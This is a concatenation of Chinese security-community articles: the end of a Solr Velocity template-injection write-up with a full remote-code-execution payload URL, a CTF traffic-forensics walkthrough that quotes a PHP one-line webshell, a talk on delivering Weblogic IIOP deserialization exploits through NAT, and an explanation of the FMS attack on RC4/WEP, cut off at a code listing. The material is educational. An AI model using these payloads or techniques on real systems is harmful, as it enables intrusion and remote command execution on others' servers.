* solr.resource.loader.enabled
“solr” 资源加载程序是默认注册的唯一模板加载程序。模板是由 SolrResourceLoader
从velocity/子目录下可见的资源提供的。VelocityResponseWriter 本身有一些内置的模板（在它 JAR
文件中的velocity/），这些模板可以通过这个加载程序自动使用。当相同的模板名称处于 conf/velocity/
或使用template.base.dir选项时，可以覆盖这些内置模板。
* * *
**VelocityResponseWriter请求参数**
* v.template
指定要呈现的模板的名称。
* v.layout
指定一个模板名称，用作围绕主`v.template`指定模板的布局。
主模板呈现为包含在布局渲染中的字符串值$content。
* v.layout.enabled
确定主模板是否应该有围绕它的布局。默认是`true`，但也需要指定`v.layout`。
v.contentType
指定 HTTP 响应中使用的内容类型。如果没有指定，默认取决于是否指定`v.json`。
默认情况下不包含`v.json=wrf：text/html;charset=UTF-8`。
默认为`v.json=wrf：application/json;charset=UTF-8`。
* v.json
指定一个函数名称来包装呈现为 JSON 的响应。如果指定，则响应中使用的内容类型将为“application / json; charset =
UTF-8”，除非被`v.contentType`覆盖。
输出将采用以下格式（带`v.json=wrf`）：
wrf("result":"<Velocity generated response string, with quotes and backslashes escaped>")
* v.locale
使用`$resource`工具和其他 LocaleConfig
实现工具的语言环境。默认语言环境是`Locale.ROOT`。本地化资源从名为`resources[_locale-code].properties`的标准
Java 资源包中加载
可以通过提供由 SolrResourceLoader 在速度子下的资源包可见的 JAR 文件来添加资源包。资源包不能在`conf/`下加载，因为只有
SolrResourceLoader 的类加载程序方面可以在这里使用。
* v.template.template_name
当启用 “params” 资源加载程序时，可以将模板指定为 Solr 请求的一部分。
`params.resource.loader.enabled`
“params” 资源加载程序允许在 Solr 请求参数中指定模板。例如：
`http://localhost:8983/solr/gettingstarted/select?q=\*:*&wt=velocity&v.template=custom&v.template.custom=CUSTOM%3A%20%23core_name`
* * *
1. 先将poc进行解码
http://127.0.0.1:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('calc')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
2. set和foreach语法前面都介绍了，现在在看payload是不是就一目了然了？如何构造，为什么这么构造..
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('calc'))$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))
#end
* * *
**附图：各框架模板结构：**
* * *
# 总结
## 漏洞总结
Apache Solr的`Config
API`是自带功能，用于通过HTTP请求更改配置；当Solr未设置访问鉴权时，可以直接通过ConfigAPI更改配置，为漏洞利用创造了前提。config
api是solr多此爆出漏洞关键[Apache Solr RCE](https://github.com/Imanfeng/Apache-Solr-RCE)有想法的童鞋可以看看这个项目。
## 题外话
之前刚刚爆出漏洞的时候，笔者还曾复现过，但奈何能力有限，不能深入理解其中内涵。深表惭愧，总的来说，努力学习，安全一行任重而道远。
* * *
# 推荐学习资料
想进行深入研究此漏洞肯定光看我这篇文章是不足的，毕竟我这这个只是Java方面上的，python、php等语言都没介绍。故此推荐，望彼有助。
**国内资料**
Python方面：[SSTI/沙盒逃逸详细总结](https://www.anquanke.com/post/id/188172)[flask之ssti模版注入从零到入门](https://xz.aliyun.com/t/3679)
[Flask/Jinja2模板注入中的一些绕过姿势](https://p0sec.net/index.php/archives/120/)
PHP方面：[服务端模板注入攻击 （SSTI）之浅析](https://www.freebuf.com/vuls/83999.html)
**国外资料**
这篇总结的比较全面：[Server-Side Template Injection: RCE for the modern
webapp](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
Python方面：[Jinja2 template injection filter
bypasses](https://0day.work/jinja2-template-injection-filter-bypasses/)
* * *
# 参考
<https://www.liangzl.com/get-article-detail-138970.html>
<https://xz.aliyun.com/t/3679>
<https://cert.360.cn/report/detail?id=6125d7f75170c309de1ffdde11f86355>
<https://paper.seebug.org/1107/#41>
<https://ackcent.com/blog/in-depth-freemarker-template-injection/>
<https://www.cnblogs.com/wade-luffy/p/5996848.html>
<https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html>
<https://blog.csdn.net/weixin_38964895/article/details/81381060>
[https://blog.csdn.net/sweety820/article/details/74347068?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task](https://blog.csdn.net/sweety820/article/details/74347068?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task) | 社区文章 |
# 一次网络流量分析引发的思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
闲来无事，做了做最近安恒8月比赛的流量包，发现有些题目给的分析不够详细。本着学习知识的心态，重新梳理下思路，稍加扩展，再谈谈个人对网络流量取证方面的一些见解。
## 题目分析
ps:这是详细的比赛题目和分析详见[这个网站](https://jianghuxia.github.io/2018/08/26/%E5%AE%89%E6%81%92%E5%85%AB%E6%9C%88%E6%9C%88%E8%B5%9B%E6%B5%81%E9%87%8F%E5%8C%85writeup/)（此处建议详细看看，最好数据包自行下载分析一遍），下面介绍下题目背景，再挑出几道题目深度分析下。
### 题目背景
某公司内网网络被黑客渗透，黑客首先攻击了一台`web`服务器，破解了后台的账户的密码，随之利用破解的密码登录了`mail`系统，然后获取了`vpn`的申请方式，然后登录`vpn`，在内网`pwn`掉一台打印机。
### 题目线索总分析
根据题目背景，我们把握下总体脉络，顺着黑客的思路走一番：
首先，黑客攻击公司的一台`web`服务器。走的是以`tcp`为载体的`http`请求，所以过滤`http`数据分组，成为解题最基本的分析思路。
接着，黑客破解了后台的账户的密码，随之利用破解的密码登录了`mail`系统。通过这点，我们追踪`http`，发现更多的线索，比如黑客破解的是哪个账号的哪个密码、登录了`mail`系统后获取的`vpn`是什么等等内容。
最后，黑客获取了`vpn`的申请方式，然后登录`vpn`，在内网`pwn`掉一台打印机。至此，黑客登录了`vpn`，那么是否通过分析此时的流量推出黑客登录时所用的`ip`，亦或者其他信息呢？
至此，基本脉络分析完毕。当然，以上脉络在没有具体分析数据包前，都只是靠推测去模拟出黑客的种种行为，具体如何分析才是最值得深究的一块。这时，可能又会有人问到，黑客就一定按照你想的去做吗？请注意，凡事没有证据（流量包）之前，我们都不能确定事情的真相如何，分析前的推测更多地是指引我们可以从什么角度去分析，而不是说黑客按照我们怎么想的去怎么做。推测不一定都成立，同样，成立的不一定是推测，推测更多的是给我们一个取证的方向。这也正是数据包取证分析的有趣之处，处处悬疑，步步惊心，但真相出来之际，又有恍然大悟之感的喜悦之情。
### 迷之坑点
**疯狂踩坑—tcp重传机制**
某公司内网网络被黑客渗透，请分析流量，得到黑客上传的webshell文件名是，内容是什么,提交webshell内容的base编码
这个问题，比赛时，死活找不到答案，但是在浏览`webone.pcap`数据包的末尾，发现`a.php`里面有`1234`为传递值，自己构造了个一句话木马：<?php
[@eval](https://github.com/eval "@eval")($_POST[1234]);?>，然后base64提交完成的。
当然，得到了此题比赛的分数，但是，不是为了比赛而做题，而是通过以赛督学。比赛结束后，细细分析，上传`shell`需要提交`POST`的请求，于是`http`的`POST`请求包浏览一遍，发现目录为`/admin/article.php?rec=update`的请求页面非常可疑，但是，却始终没有找到含有一句话木马的上传页面？怎么办呢?苦苦思想，咦，有没可能`tcp`这个载体漏传了，造成了包丢失？随后，过滤语句`tcp
contains "<?php [@eval](https://github.com/eval "@eval")"`一试，终于找到了正确答案，再试`http
contains "<?php [@eval](https://github.com/eval
"@eval")"`依旧没找到，十有八九是丢包了，但这到底是为什么，还需进一步分析。
随后我追踪了下`tcp`流，发现了在`http`中没找到的一句话木马上传页面。
仔细分析了下这个`tcp`流的来往，我想我找到了真相。
首先，看看上图的`733791`序号分组，我们可以看到`"TCP Previous segment not
captured"`，提示“存在没有抓到的数据包”，也就是意味着：在当前包的捕获中，缺少了本应出现的某些包。紧接着`733793`序号分组，`"Tcp
Retransmission"`,提示“`Tcp`包重传”。很明显，存在了丢包，引发了`TCP`的重传机制。
随后我寻找了下tcp重传的相关文档[rfc2001](https://tools.ietf.org/html/rfc2001)，该文档是描述`TCP`慢启动，避免拥塞，快速重传和快速恢复算法相关机制的文档。其中快速重传有这么一句描述
翻译下：“当收到一个出问题的分组，Tcp立即产生一个应答。这个相同的ack不会延迟。这个相同应答的意图是让对端知道一个分组被收到的时候出现问题，并且告诉它希望得到的序列号。”
那么接下来的`733794`序号分组，`"Tcp Dup ACK
733789#1"`，这就代表着，继`733789`分组序列号后，提示重新传输因某些原因导致的丢包数据。于是，`733801`序号分组，开始重新传输这段数据。当然，我们可以通过每个分组后面的`Seq`值，验证是否是重传包。
比如：`733794`序号分组，此时的`Seq`值为`1`，Ack值为`3606`（与`733789`序列号相当）；`733801`序号分组，此时的`Seq`值为`3606`，`Ack`值为`1`，`len`值为`1460`；`733802`序号分组，此时的`Seq`值为`1`，`Ack`值为`5066`（`733805`序号分组`Seq`和`Ack`值刚好与此相反）；通过验算，`3606+1460=5066`，至此，完全符合重传后每个包的`Seq`、`Ack`对应值。这样，我们成功了解决的了这题的疑问，上传的是文本内容为`<?php
[@eval](https://github.com/eval "@eval")($_POST[1234]);?>`的`1.php`文件。
**疯狂踩坑—社工？还是溯源？**
> 10、黑客使用了什么账号登陆了mail系统（形式: username/password）
此题说来有趣，此题答案跟原关卡`3`答案相同，说解法是社工（我想跟大佬们学下怎么社工），但是对比了下，两个关卡中所用到的数据包给的源服务器`ip`并不一样。当然，管他白猫黑猫，抓到老鼠就是好猫，比赛时能做出来的确厉害。比赛完后的题目说了“利用破解的密码登录了`mail`系统”，好吧，这个我也勉强能够接受。以下的内容是根据请教
**三斤鱼** 大佬，赛后复现出来的，在此再次谢过。
这题需要看`mailtwo.pcap`和`mailtwo1.pcap`两个数据包。
首先在`mailtwo.pcap`中过滤`http`，分组序号`3`的`Cookie`中就发现
`login_name=wenwenni`字段，并且是`action=logout`。
继续观察数据包，发现分组序号`28`的`Get`登录请求，再看看分组序号`35`的响应，猜测系统是通过验证cookies信息允许其免密登录，并在其中发现了输入密码后的加密函数：
取出来发现是`AES`的`CBC`加密，填充格式为`ZeroPadding`，密钥为字符串`1234567812345678`的`hash`值，偏移量为`1234567812345678`
var key_hash = CryptoJS.MD5('1234567812345678');
var key = CryptoJS.enc.Utf8.parse(key_hash);
var iv = CryptoJS.enc.Utf8.parse('1234567812345678');
form.password.value = CryptoJS.AES.encrypt(form.password.value, key, { iv: iv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.ZeroPadding});
在下一分组序号`42`请求对应的分组序号`45`返回的响应报文中出现`{"success":true}`，表示登陆成功。
既然如此，我们使用`(http contains "{"success":true}" or http.request.method=="POST")
and
ip.addr==192.168.94.59`过滤一下，显示出`post`请求及成功的返回结果，浏览一下发现是在爆破，并且到`mailtwo.pcap`的最后也未爆破成功。相同的过滤条件上在`mailtwo1.pcap`上试试，发现几条数据，从后往前看，发现分组序号`18152`是登陆成功的返回结果，那对应的分组序号`17126`则就是正确的加密后的密码。这里可能会有疑问，黑客不是能成功登录`wenwenni`用户嘛，为啥还要爆破`admin`用户？(⊙o⊙)…，说个实在话，那个时候我也有这个疑问，不过后面想想，咱们自己渗透的时候不也是习惯先注册一个账号登录玩玩嘛？
那么[解密网址](http://tool.chacuo.net/cryptaes)进行`aes`解密即可得到`admin`账号的密码。此题最终答案即为：`admin/admin!@#PASS123`
**疯狂踩坑—vpn流量分析学习**
> 11、某公司内网网络被黑客渗透，请分析流量，黑客获得的vpn,ip是多少
此题答案，额，也不知道算不算不难，额，比赛时，给的两个`vpn`的数据包，其中`ip`没几个，一个一个去试，也就出来答案了。下面讲讲自己的做法。
首先，放出个[PPTP
理解以及报文的分析](https://blog.csdn.net/zhaqiwen/article/details/10083025)学习下先，磨刀不误砍柴工嘛。看懂数据包是分析流量包的第一步。打开`vpn.one`数据包，之前对`vpn`的数据包没啥研究，不过借此机会好好学习一番。按照正常的分析流程，`wireshark`三板斧分析一番。
可以发现`GRE`、`UDP`、`TCP`中三者中，`GRE`在整个传输层所占比例最大。`GRE`，`Generic Routing
Encapsulation`，中文名为 **通用路由封装协议** ，是`VPN`（`Virtual Private
Network`）的第三层隧道协议。再看图分析，GRE封装着`PPP`（`Point-to-Point
Protocol`点到点协议），相应的学习链接放置文章末尾（两个协议所在哪一层要先了解）。
其次我们再看看对话，可以清晰的发现，`192.168.32.131`是基本上每个对话都用到了，可以锁定这条`ip`地址。并且，我们还发现对话中，`192.168.32.255`和`192.168.94.59`两个ip与`192.168.32.131`对话都很多，那么就很明显，忽略网关后，那就只剩`192.168.94.59`这个ip了。
在此分析过程中，我们会遇到其他的“干扰选项”，这些都需要自行筛选分析，比如上图的`209.244.0.3`与`192.168.32.131`的对话就如下，一看就知道是无关信息咯。
知道可疑ip后，过滤下，过滤语句`ip.addr == 192.168.94.59`
过滤后，映入眼帘的pptp首个分组序号`4527`：`start-control-connection-reply`
，这个消息是由PPTP服务器发出，回应`start-controlconnection-request`消息。那就有点奇怪了，这条消息是回应的，那请求的去哪了？不知道你是否发现分组序号`4527`前几个分组的消息，没错，正如你所想的，又发生了丢包情况。那我们往下滑，看看完整的分组。
很清晰，`192.168.94.59`和`192.168.32.131`通过三次握手时，出现了分组序号`4581`：`start-control-connection-request`
，这是由PPTP客户端发出，请求建立控制连接。PPTP隧道要求在发送任何其他PPTP消息之前，先建立一条控制连接。那么很好，可以确定，黑客此时的`ip`是`192.168.94.59`。
再回看题目，黑客获得的`vpn`,`ip`是多少？难道是这个？不，天真了。问的应该是分配`vpn`的`ip`。接着往下分析，发现了黑客登录vpn时失败的消息：`Authentication
failed`。
再往下翻翻，不久，你就会发现
黑客登录成功了，登录的用户名为`xiangh`，额，做到这里，其实我想知道vpn的密码，后面发现还是天真了，大佬们具体可以参照下[CHAP验证中的密码问题](https://blog.csdn.net/cuipengchong/article/details/17248385)。再接着，通过网站寻找资料学习了一波，发现文档[rfc1332](https://tools.ietf.org/html/rfc1332)有以下描述：
又发现[PPP协议](https://blog.csdn.net/windeal3203/article/details/51066331)其中有这么一段描述
随后，翻翻数据包，找到了最终的答案，分组序号`4953`中`192.168.94.59`向`192.168.32.131`发送了一个请求，内容如下，可以发现全部为`0.0.0.0`
紧接着分组序号`4954`返回了一个期望的值（即规定给的vpn的ip）
再接下来的两个连续分组序号`4955`表示`192.168.94.59`再次询问能否以`192.168.94.59`刚刚发送的期望值，作为`192.168.94.59`的详细内容，分组序号`4956`表示接受这个请求。
此题到此分析完毕，最终答案就是`10.3.4.3`咯。
## 一些看法
之所以想谈谈这些看法，一是经常有人问流量分析有那么重要吗？每次分析出事情的真相又如何，都已经发生了，改变不了结果的；二是针对最近的某酒店用户信息重大泄露事件；
这个时代科技的风云聚变，我想每个人都有各自的感受，对于我而言，大一听到的网络安全，大二听到的人工智能，直到现在，以太坊、区块链等等。这些东西，之前不是没有，而是突然间变“火”了。对于网络安全而言，它的特点是革新的速度，这不单单是网络技术迅猛发展的护航需要，更是”道高一尺魔高一丈“的比拼。相对而言，网络流量的取证分析，好像都是”黑与白“之间较量后，才显露出的结果（这个结果往往是不好的）。其实不然，取证的目的就在于揭示那些”黑与白“较量之间的、有意义的、先前不为人知的、被人忽视的细节。网络取证看似亡羊补牢，但这又何尝不是还原每个事件真相的必要呢？只有知道那些真相的细节之处，才会促进网络安全的发展，提升网络安全的防护意识。
取证是一门艺术，“真的假不了，假的也真不了”。对于这些大大小小的安全事件而言，取证分析后，分析出造成不良结果的种种原因，或许让人觉得搞笑，亦或者震惊。但仔细想想，何尝不是给每个人敲响了警钟，让每个人多了点意识，每个团队学习了新的技术，每个“白帽子”心中的那份正义呢？
网络取证，流量分析，可能不是一项关于安全的技术，而是一项关于“不安全”的技术？你觉得呢？
文章相关资料学习链接：
[对TCP重传的进一步认识](https://www.cnblogs.com/virusolf/p/4335613.html)
[浅析GRE协议（通用路由封装协议）](https://blog.csdn.net/mary19920410/article/details/72303641)
[GRE、PPTP、L2TP隧道协议](https://blog.csdn.net/eydwyz/article/details/54879808) | 社区文章 |
## 背景
通常在渗透的过程中会遇到很多 Weblogic 服务器，但通过 IIOP
协议进行发送序列化恶意代码包时，会面临着无法建立通讯请求发送恶意序列化失败。最近参与了一场在成都举办的《FreeTalk 2020 成都站》，有幸分享了关于
Weblogic IIOP 协议 NAT 绕过的几种方式。
PPT 下载地址：[《Weblogic IIOP 协议NAT
网络绕过》](https://img.zhiiyun.com/Weblogic_IIOP_NAT.pptx)
## 成果演示
Goby 工具中关于 Weblogic 基本都是用了 IIOP 协议绕过的方案，比较有代表性的漏洞为 CVE-2020-2551 漏洞。
内部工具 `weblogic-framework` 使用了多项核心技术来进行优雅的测试 Weblogic，其中也使用了 IIOP 协议的绕过方案。
## 协议
在开始之前，非常有比较提及一下以下这些协议相关的内容：
* RMI： 远程方法调用，本质上是 RPC 服务的 JAVA 实现，底层实现是 JRMP 协议，主要场景是分布式系统。
* CORBA：跨语言（C ++、Java等）的通信体系结构，通常在 IIOP 协议中使用。
* GIOP：主要提供标准的传输语法以及 ORB 通信的信息格式标准。
* IIOP：CORBA 对象之间交流的协议，GIOP 的实现。
* RMI-IIOP：解决 RMI 和 CORBA/IIOP 无法同时使用的技术方案。
* Weblogic IIOP：Weblogic 自实现的 RMI-IIOP。
* T3：WebLogic Server 中的 RMI 通信使用 T3 协议传输 WebLogic Server 和其他 Java 程序，包括客户端及其他 WebLogic Server 实例之间 数据。
T3 协议本质上 RMI 中传输数据使用的协议，但通过上面我们看到 RMI-IIOP 是可以兼容 RMI 和 IIOP 的，所以在 Weblogic
中只要可以通过 T3 序列化恶意代码的都可以通过 IIOP 协议进行序列化，正是因为这种情况，我进入 Weblogic 第三季度深度贡献者名单。
## 流程
### IIOP 序列化攻击流程
一般 IIOP 序列化攻击的大致流程主要为首先构建恶意序列化代码，然后初始化上下文实例，最后通过 `bind/rebind`
进行发送恶意序列化代码，下图为关键代码。
### IIOP 初始化上下文流程
初始化上下文通过攻击流程中的 `new InitialContext(env)` 进行构建，最终的入口点通过 `getInitialContext`
方法进行构建，最终是进行流入到 `InitialContextFactoryImpl.getInitialContext` 进行初始化上下文。
在流入 `InitialContextFactoryImpl.getInitialContext` 之后会通过 `obj =
ORBHelper.getORBHelper().getORBReference` 来进行获取 `NameService`，然后将获取到的
`NameService` 进行实例化创建上下文实例，提供后续的执行操作。
### rebind 流程
执行 `rebind` 流程中，首先会通过 `this.getContext` 方法进行获取前面所讲的上下对象，然后通过 `rebind_any`
进行发发送序列化代码，当前在此之前已经通过经过序列化的了。
在 `rebind_any` 中，首先会通过 `this._request` 进行发送 `rebind_any` 建立 Socket 通讯，最后通过
`this._invoke` 方法进行执行最终的操作发送序列化代码。
### 大致流程
所以最终大致的执行流程是如下图，获取 `NameService`，基于获取的信息进行创建上下文实例（获取实际连接信息），然后进行发起 `request`
请求，最后进行执行 `rebind_any` 操作。
## 环境准备
* Weblogic：12.1.3.0
* 协议：IIOP
* 漏洞编号：CVE-2020-2555
* 内网（Windows）：<http://10.10.10.173:7001>
* NAT 网络（ vulfocus ） ： <http://118.193.36.37:32769/> 内部 IP： 172.17.0.5
NAT 网络构建通过 `http://vulfocus.fofa.so/` 进行搭建构造。
## 成因
在后续的调试以及研究中我们所使用的版本为 12.1.3.0 版本，漏洞为 CVE-2020-2555 漏洞，以下为漏洞
POC，以及漏洞执行链，在这里不多讲该漏洞，有兴趣的可以移步[漫谈 Weblogic
CVE-2020-2555](https://www.r4v3zn.com/posts/975312a1/)。
执行链：
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
当我们可以与 Weblogic 所处同一网段并且可达的时，可以看到是成功执行系统命令弹出计算器。
通过 Wireshark 进行抓包可以，可以看到一共通讯了 2 次，第一次发送 `LocateRequest` 类型的 `LocateRequest`
的通讯操作获取 `NameService`，第二次发送 `Request` 类型的 `rebind_any` 操作进行发送序列化代码。
而进行测试公网中的靶机时抛出 `Operation time out` 异常，具体信息如下图。
而在 Wireshark 中可以看到，与第一次获取`NameService`中的内网 IP、端口进行了 Socket 通信。
而在执行的流程中停留在了 `createEndPoint` 方法中，所以通信问题大概率是在此方法中引发的。
在 `createEndPoint` 方法中，最后通过 `MuxableSocketIIOP.createConnection` 方法进行建立 Socket
通信，此时的通信变为了 Weblogic 运行的内网 IP 和端口。
所以大体的情况为如下图，问题出现在发起 `request` 时调用的 `createEndPoint` 方法中，由于 `createEndPoint`
无法正常建立 Socket 通信导致后续的操作无法正常秩序。
其实，我们也可以在 Weblogic 启动日志中也可以看到 Weblogic 关于端口和协议分配的情况，基本分配都是内网网卡的IP和端口同时会进行监听
`0.0.0.0:7001` 来处理协议的请求操作，那么现在问题来了，公网中的 Weblogic 服务器 99% 分配的都是内网 IP 和端口。
## IIOP NAT 绕过方案
由于问题发生在响应的 Weblogic 在获取 NameService 时，响应的 IP和端口为内网中的端口，导致在后续 `createEndPoint`
建立 Socket 通信，所以我们可以进行在建立 Socket 通信之前修改为正确的 IP和端口（公网中的IP和端口）。
### GIOP 协议极简实现
当我们与服务器所处同一网段时，可以看到一共通讯了 2 次，第一次发送 `LocateRequest` 类型的 `LocateRequest` 的通讯操作获取
`NameService`，第二次发送 `Request` 类型的 `rebind_any` 操作进行发送序列化代码。
所以我们根据 Wireshark 中的信息，可以进行构建极简的 GIOP 实现，大体如下：
1. 请求 LocateRequest，获取 NameService 以及获取 key
2. 请求 Request，执行 rebind_any 操作，发送序列化代码
#### GIOP 协议
GIOP 协议大致由 Header 和 Message Type 进行构成，在 Header 包含了 Magic、Version、Message
Type、Message Size。
Message Type 的类型如下：
消息类型 | 始发方
---|---
Request | Client
Request | Server
CancelRequest | Client
LocateRequest | Client
LocateReply | Server
CloseConnection | Server
MessageError | Both
Fragment | Both
#### 实现
获取 NameService 请求代码实现：
执行 rebind_any 操作代码实现：
最终效果：
### Javassist 字节码库
Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库，它使 Java
程序能够在运行时定义一个新类，并在 JVM 加载时修改类文件。
* Javassist.CtClass 是类文件的抽象表示形式
* Javassist.CtMethod 是类方法的抽象表示形式
读取类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("test.Rectangle");
创建类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
继承
`cc.setSuperclass(pool.get("test.Point"));`
写入
cc.writeFile();
cc.toClass();
需要注意的是 `toClass()` 会把当前修改的 Class 加入到当前的 `ClassLoader` 中。
创建方法
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
修改方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
ctMethod.setBody("System.out.println(\"set body\");");
ctMethod.insertBefore("System.out.println(\"set before\");");
ctMethod.insertAfter("System.out.println(\"set after\");");
通过 Javassist 进行实现时，可以通过修改建立 Socket 通信之前的方法，将 ip、端口替换为正常的 IP 和端口，在这里选取的是
`newSocket` 方法，在第一个参数为 `host`，第二个参数为 `port`。
最终修改的如下图：
#### 实现
在实现的过程中，仅需要在执行到 `newSocket` 方法时，将连接到 IP 和端口设置为正确的 IP 和 端口，核心代码如下图：
最终效果：
### 源代码修改
在执行的流程中最终执行到了 `createEndPoint` 方法中，从执行流程来看主要如下图所示。
在执行 `rebind` 方法发送序列化代码时，可以看到在此时已经变成了 Weblogic 内网中运行的 IP 和 端口，直到程序执行到
`createEndPoint` 抛出异常。
而执行到 `getInvocationIOR` 方法时，会调用 `IIOPRemoteRef.locateIORForRequest` 方法来进行寻找
`IOR`，并且将寻找到的 `IOR` 设置为当作当前 `IOR` 进行返回提供使用。
在进入 `locateIORForRequest` 方法之后会通过 `EndPointManager.findOrCreateEndPoint`
来进行寻找或创建结束切点，可以看到此时 `IOR` 的 `host`、`port` 变成了内网中的 IP 和端口。
在进入 `EndPointManager.findOrCreateEndPoint` 最终会执行到 `createEndPoint` 方法中来进行建立
Socket 通信，在这里由于是内网的 IP 和端口无法成功建立通信，导致后续的利用也无法继续进行。
#### 实现
大致的问题点已经确认的清楚的情况下，我们可以通过修改原始代码的方式来进行实现绕过，大体思路为：
1. 修改 `weblogic.corba.j2ee.naming.ContextImpl` 类中的 `rebind` 方法
2. 修改 `weblogic.iiop.IIOPRemoteRef` 类中 `locateIORForRequest` 方法的 ior 参数，确保正常调用 `findOrCreateEndPoint` 创建结束切点
首先修改 `weblogic.corba.j2ee.naming.ContextImpl` 类中 `rebind` 方法将正确的连接 IP
和端口加入到系统环境变量中。
最后在 `locateIORForRequest` 方法读取系统环境变量中正确的 IP 和端口并且修改 `ior` 变量中相关的连接信息。使之能够正常的执行
`findOrCreatePoint` 方法创建结束切点
最终效果：
## IIOP NAT 绕过方案总结
* GIOP 协议极简实现
* 优点：原始 Socket 发包，效率较快
* 缺点：构造难度较高，需要掌握协议相关知识
* Javassist
* 优点：修改难度较低
* 缺点：程序使用完毕之后需要重启，如果使用动态加载等方案可能导致资源占用率过高
* 源代码修改
* 优点：原生代码兼容性较强
* 缺点：修改难度较大
## 参考
* <https://blog.csdn.net/weixin_33913377/article/details/94134763>
* <https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf>
* <https://www.slideserve.com/milek/13-giop-iiop-ior>
* <https://www.cnblogs.com/scy251147/p/11100961.html> | 社区文章 |
# 浅析FMS attack
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
[FMS
attack](https://en.wikipedia.org/wiki/Fluhrer,_Mantin_and_Shamir_attack)是针对广泛使用的[RC4流密码](https://en.wikipedia.org/wiki/RC4)和[WEP](https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy)的攻击，本人将简单介绍一下该攻击。
## RC4
RC4（Rivest Cipher
4）是一种流加密算法，密码长度可变，是有线等效加密（WEP）中采用的加密算法。其原理比较简单，包括密钥调度算法（KSA）和伪随机子密码生成算法（PRGA）两大部分：
### KSA
RC4初始化的时候会先对`state`进行初始化，如下所示：
def __init__(self):
self.state = [i for i in range(256)]
self.i = 0
self.j = 0
然后将使用`key`来对`state`进行更新，每一步都会将两个状态的值互换：
def __swap_state(self, a, b):
self.state[a], self.state[b] = self.state[b], self.state[a]
def ksa(self, key):
j = 0
for i in range(256):
j = (j + self.state[i] + key[i % len(key)]) % 256
self.__swap_state(i, j)
### PRGA
当要产生密钥流的时候，进行如下操作。在生成密钥流的同时，也会对状态进行实时的更新，以保证其安全性：
def prna(self):
self.i = (self.i + 1) % 256
self.j = (self.j + self.state[self.i]) % 256
self.__swap_state(self.i, self.j)
return self.state[(self.state[self.i] + self.state[self.j]) % 256]
## FMS攻击
FMS（Fluhrer, Mantin and Shamir)）attack是一种针对RC4的攻击，这种攻击方式在2001年的论文 _Weaknesses
in the Key Scheduling Algorithm of RC4_
中被提到。该攻击利用RC4中的密钥调度算法（KSA）的弱点来从加密消息中重构出密钥。FMS攻击在一些网络工具（例如AirSnort、weplab和aircrack）中得到了普及应用，这些工具使用该攻击来恢复受WEP保护的无线网络的密钥。
### 攻击描述
在WEP中，不仅仅有用户所输入的key，同时也有设置好的iv（initialization
vector），WEP会将它俩拼在一起作为RC4的密钥调度算法中所输入的key，即`inputKey = iv +
key`，这样可以防止key复用所导致的一些问题，但是这也并不是安全的。
现在我们来重点关注密钥调度算法。我们将经过了`t`次迭代的`state`记为St，这时的`index`分别记为it和jt。同时我们设所使用的IV的长度为I（假设I
= 3），用户所输入的key为SK，inputKey的长度为L，则inputKey（记为K）表示为：
假设我们知道IV、加密过的密文和明文的第一个字节（在WEP中固定为`aa`），我们尝试从第一个我们不知道的key开始着手，设它在SK中的索引为`A`，则在K中的索引为`A+3`。当我们的IV都是诸如（A+3，N-1=255，V）的形式（其中V可以是任何值），我们可以有如下结论：
在经过了第一轮密钥调度算法中的迭代后，`status`如下所示：
其中上方的第一行是K，中间的数字是每个元素的索引值，最下方的一行是`status`。
在经过了第二轮密钥调度算法中的迭代后，`status`如下所示：
在取到`K[A+3]`，即攻击者不知道的第一个key的字节之前，`status`都是可以被攻击者所计算出来的（即S(A+3)之前的状态），如果在第二轮迭代后的`S[0]`和`S[1]`有受到更改，则攻击者可以丢弃使用该IV的情形
如果`S[0]`和`S[1]`没有受到更改，则在S(A+2)到S(A+3)的更新过程中，j会进行如下变化：
然后会进行`self.__swap_state(i, j)`，这个时候的`status`如下所示：
因为攻击者知道S(A+2)和j(A+2)，如果攻击者知道S(A+3)[A+3]的值，则攻击者可以知道它在S(A+2)中的位置（即j(A+3)的值），那么攻击者就可以计算出来K[A+3]的值。
为什么这样就可以计算出K[A+3]的值了呢？让我们关注伪随机子密码生成算法的部分，在对第一个明文字节进行加密的时候，密钥流（设为keyStreamByte）中的第一个字节的格式为：
则我们可以推出如下公式：
由于这里面除了K[A+3]我们都是知道的，那么我们就可以很容易地推出K[A+3]的值
上述公式中所使用到的`states`的值在S(A+2)到S(L-1)的更新过程中都没有受到更改的概率为：
在有足够的信息的时候，这个攻击是很容易实现并使用的
### 2020蓝帽杯决赛-infinite_game
这道题目的主要代码如下：
#!/usr/bin/env python3
import binascii
import os
import sys
